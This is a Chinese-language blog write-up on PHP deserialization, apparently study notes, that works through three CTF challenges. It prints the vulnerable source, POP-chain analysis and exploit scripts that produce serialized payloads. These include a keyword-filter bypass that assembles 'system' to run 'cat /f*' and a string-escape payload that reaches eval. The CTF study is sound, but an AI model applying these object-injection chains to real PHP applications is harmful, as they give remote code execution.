PHP反序列化学习
参考资料
可供新手学习的文章:
《PHP反序列化新手入门学习总结》蚁景科技
https://www.freebuf.com/articles/network/355848.html
实战演练
[SWPUCTF 2021 新生赛]
考点
wakeup()绕过
解题思路
如果类属性的数目大于正常数目则不会执行wakeup()函数
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
EXP编写
<?php
class HaHaHa{
public $admin = "admin";
public $passwd = "wllm";
}
$key = new HaHaHa();
echo serialize($key);
?>
修改属性个数
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
修改为
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
[NISACTF 2022]babyserialize
考点
POP链,魔法函数,简单的命令绕过
解题思路
首先需要找到POP链的尾部,一般来说是一个命令执行函数,如:assert,eval等,或者说是一个函数名和参数均被用户控制的函数。
接着分析魔法函数,从POP链尾部往前推演,根据魔法函数的触发条件推导。
编写EXP,根据构造的POP链进行实例化对象和赋值。
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
//使用unserialize触发,如果需要绕过,修改对象个数
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
//对不存在的方法或不可访问的方法进行调用就自动调用
$this->fun=$val[0];
}
public function __toString()
{
//当一个对象被当作一个字符串被调用
echo $this->fun;
return " ";
}
public function __invoke()
{
//POP链尾部,当脚本尝试将对象调用为函数时触发
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
//使用unserialize触发,如果需要绕过则修改对象个数
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
//对不存在的方法或不可访问的方法进行调用就自动调用
$this->huang->fun=$arg[0];
}
public function __toString(){
//当一个对象被当作一个字符串被调用
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
//在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);//a可控但全为小写
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
- POP链尾部是NISA类的invoke()方法,invoke()方法会对txw4ever命令参数进行检查,根据后续提示是黑名单过滤,通过过滤后使用eval执行命令,即我们获取flag的方式。
- invoke()方法当脚本尝试将对象调用为方法时触发,我们下一步即寻找可能将对象调用为方法的位置。
- Ilovetxw类中的toString()方法,如果我们将Ilovetxw的成员变量$su赋值为一个NISA对象,则会触发(1)中的invoke()方法。
- toString()方法当一个对象被当作一个字符串被调用触发,我们下一步即寻找可能将对象当做字符串的位置。
- four类的set()方法中,strtolower()方法会将给的参数字符串转换为小写,如果将four类的成员变量赋值为Ilovetxw对象则会触发(4)中的toString()方法。
- set()方法在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用,我们注意到four类中有一个私有成员变量,我们下一步即寻找可能给它赋值的位置。
- Ilovetxw类中的call()方法,可以对成员huang的属性fun进行赋值,如果我们将huang赋值为four对象,则会触发(6)中的set()方法。
- call()方法在对不存在的方法或不可访问的方法进行调用就自动调用,我们下一步及寻找不存在或者不可访问的方法可能出现的位置。
- TianXiWei类中出现了一个从未出现的nisa方法,如果我们将成员变量ext赋值为Ilovetxw对象,则会触发(7)中的call()方法。
至此我们总结出以下的POP链。
TianXiWei::wakeup->Ilovetxw::call->four::set->Ilovetxw::toString->NISA::invoke
EXP编写
<?php
class NISA{
public $fun="show_me_flag";
public $txw4ever="\$a='sy';\$b='stem';(\$a.\$b)('cat /f*');";
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a;
private $fun;
}
$key1= new NISA();
$key2 = new Ilovetxw();
$key3 = new four();
$key4 = new TianXiWei();
$key5 = new Ilovetxw();
$key2->su =$key1;
$key3->a = $key2;
$key5->huang = $key3;
$key4->ext = $key5;
$key4->x="sixsixsix";
echo urlencode(serialize($key4));
?>
[UUCTF 2022 新生赛]ezpop
考点
POP链,反序列化逃逸
解题思路
思考POP链的构造
思考反序列化逃逸的字符串构造
编写EXP构造出最终的payload
<?php
//flag in flag.php
error_reporting(0);
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a;
function __toString(){
//将对象当做字符串时调用
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);//需要将a赋值为output对象
}
}
class youwant{
public $cmd;
function rce(){
eval($this->cmd);//POP链尾部
}
}
$pdata=$_POST["data"];
if(isset($pdata))
{
$data=serialize(new UUCTF($pdata));
$data_replace=str_replace("hacker","loveuu!",$data);//反序列化字符串逃逸利用点
unserialize($data_replace);
}else{
highlight_file(__FILE__);
}
?>
我们根据前面的经验很容易可以推出以下的POP链。
nothing::destruct()->output::toString()->youwant::rce()
根据UUCTF类的描述,我们需要利用反序列化逃逸对\(key,\)basedata,\(ob,进行赋值,其中\)key为UUCTF,\(basedata为我们提交的POST参数的base64_encode值,\)ob这里可以为空值。
我们首先编写EXP利用POP链反序列化出对象字符串。
<?php
class output{
public $a;
}
class nothing{
public $a;
public $b;
public $t;
}
class youwant{
public $cmd = "system('cat flag.php');";
}
$key1 = new youwant();
$key2 = new output();
$key3 = new nothing();
$key2 -> a = $key1;
$key3 -> a = &$key3 -> b;
$key3 -> t = $key2;
$bkey3 = base64_encode(serialize($key3));
echo $bkey3;
?>
结果为:
Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19
计算该字符串的长度:
echo strlen($bkey3) //176
构造我们需要的字符串:
";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;}
计算该字符串的长度:
$num = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;}';
echo strlen($num); //236
由于$data_replace=str_replace("hacker","loveuu!",$data);
替换字符和原字符长度差1,则我们需要236个填充字符hacker。
最终的payload如下图所示
标签:__,function,PHP,POP,调用,序列化,public From: https://www.cnblogs.com/merk11/p/17304121.html